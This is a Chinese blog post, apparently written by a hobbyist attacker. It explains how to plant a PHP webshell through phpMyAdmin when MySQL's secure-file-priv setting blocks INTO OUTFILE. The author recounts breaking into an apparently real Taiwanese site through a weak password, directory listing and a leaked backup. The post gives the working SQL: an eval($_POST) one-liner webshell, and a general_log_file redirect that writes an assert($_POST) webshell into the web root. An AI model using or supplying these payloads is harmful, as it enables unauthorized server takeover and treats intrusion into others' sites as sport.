phpMyAdmin GetShell的时候遇到1290错误该怎么办?看这里

本文不算是原创,因为一年前一叶知安已经发过了,因为今天自己测试的时候遇到这样的情况,所以也就记录分享一下。

开头:

这里呢!本来没事找找弯弯的站来玩儿一下,找半天瞄准了一个弱口令phpmyadmin的站,也是存在列目录漏洞找到了一个备份文件,在里面找到里面密码,而且还有一个phpinfo的文件,兴冲冲的跑去登录,去PHPinfo里面找到了网站的路径,结果呢?结果执行一句话命令的时候出现了问题

select'<?php @eval($_POST[aimorc]);?>'INTO OUTFILE 'C:/AppServ/www/teste/test/aimorc.php'

回显:错误提示

#1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement.

 

重点:

因为phpmyadmin一般就这样的方式来拿shell,大神们的方法肯定要除外!这里学来的技巧就是利用默认没开启的日志来拿shell。

原话:MySQL 5.0+的版本会自动创建日志文件,那么在服务运行的情况下修改全局变量也是可以变动文件位置的,但是必须要对生成日志的目录有可读可写的权限。(Linux环境下可能会比较苛刻,因为站点目录是一个用户,MySQL是另外一个用户,权限管控较为严格,主要取决于权限配置是否得当)

首先呢,介绍两个MySQL全局变量(general_log、general_log file

  1. general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。
  2. general log file 指的是日志的保存路径。

我们先查看一下全局变量 ~

这里强调一下保存过程,general_log是保存每一条你执行的SQL到文件中。目前为OFF,所以文件还没有被创建,我们修改为ON尝试让MySQL创建文件:

(确保general_log 的值已经为ON,前面已经设置过了)然后设置general_log_file的值为我们一句话木马的绝对路径:

SET global general_log_file='C:/AppServ/www/teste/test/aimorc.php';

这个时候如果正常的话,文件已经是创建了的,我这里有列目录的漏洞,所以可以直接去看,你也可以访问以下,看一下回显。

因为MySQL保存日志的时候,我们插入一句话的时候需要转义一下下。

SELECT '<?php assert($_POST["aimorc"]);?>';

执行过上面这段之后我们访问一下刚刚生成的日志,就是这个样子。

 

后面该怎么办就不用多说了,大家也应该知道!

 

参考:https://zhuanlan.zhihu.com/p/25957366

https://www.t00ls.net/viewthread.php?tid=38892

aimorc

我还没有学会写个人说明!

1 条评论

Leave a Reply

Your email address will not be published. Required fields are marked *

微信扫一扫,分享到朋友圈

phpMyAdmin GetShell的时候遇到1290错误该怎么办?看这里
返回顶部

显示

忘记密码?

显示

显示

获取验证码

Close